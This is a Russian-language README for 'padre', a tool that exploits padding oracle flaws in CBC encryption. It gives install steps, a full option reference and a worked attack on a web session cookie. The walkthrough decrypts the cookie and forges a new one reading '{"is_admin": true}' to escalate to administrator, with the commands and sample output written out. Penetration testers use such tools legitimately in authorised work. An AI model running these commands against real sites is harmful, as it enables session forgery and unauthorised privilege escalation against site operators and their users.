
Молниеносный, продвинутый эксплойт Padding Oracle
padre — это продвинутый эксплойтер для атак на основе Padding Oracle на шифрование в режиме CBC
Возможности:

Самый быстрый способ — загрузить предварительно собранный бинарник для вашей ОС из последнего релиза
В качестве альтернативы, если у вас установлен Go, соберите из исходников:
go install github.com/glebarez/padre@latest
Если вы обнаружили предполагаемый padding oracle, где зашифрованные данные хранятся в cookie с именем SESS, вы можете использовать следующее:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='
padre автоматически выполнит фингерпринтинг HTTP-ответов, чтобы определить, подтверждается ли padding oracle. Если сервер действительно уязвим, предоставленный токен будет расшифрован примерно в такое:
{"user_id": 456, "is_admin": false}
Похоже, вы можете повысить свои привилегии!
Вы можете попробовать сделать это, сначала сгенерировав собственные зашифрованные данные, которые оракул расшифрует в хитрый открытый текст:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}'
Это выдаст другой набор зашифрованных данных, возможно, как показано ниже (если используется base64):
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
Теперь вы можете открыть браузер и установить значение cookie SESS в указанное выше значение. Загрузив исходную страницу оракула, вы должны увидеть, что ваши права повышены до уровня администратора.
Usage: padre [OPTIONS] [INPUT]
INPUT:
В режиме расшифровки: зашифрованные данные
В режиме шифрования: открытый текст для шифрования
Если не указан, будет читать из STDIN
ПРИМЕЧАНИЕ: двоичные данные всегда кодируются в HTTP. При необходимости настройте правила кодирования (см. опции: -e, -r)
OPTIONS:
-u *required*
целевой URL, используйте символ $ для обозначения места токена (если он присутствует в URL)
-enc
Режим шифрования
-err
Регулярное выражение, тела HTTP-ответов будут проверяться по нему для обнаружения padding oracle. Опустите для автоматического фингерпринтинга
-e
Кодирование двоичных данных. Поддерживаемые значения:
b64 (стандартный base64) *по умолчанию*
lhex (шестнадцатеричные в нижнем регистре)
-r
Дополнительные замены после кодирования двоичных данных. Используйте строки нечетной длины, состоящие из пар символов <СТАРЫЙ><НОВЫЙ>.
Пример:
Если сервер использует base64, но заменяет '/' на '!', '+' на '-', '=' на '~', то используйте -r "/!+-=~"
-cookie
Значение cookie, устанавливаемое в HTTP-запросах. Используйте символ $ для обозначения места токена.
-post
Строковые данные для выполнения POST-запросов. Используйте символ $ для обозначения места токена.
-ct
Content-Type для POST-запросов. Если не указано, Content-Type будет определен автоматически.
-b
Длина блока, используемая в шифре (используйте 16 для AES). Опустите для автоматического определения. Поддерживаемые значения:
8
16 *по умолчанию*
32
-p
Количество параллельных HTTP-соединений с целевым сервером [1-256]
30 *по умолчанию*
-proxy
HTTP-прокси. Например, используйте -proxy "http://localhost:8080" для Burp или ZAP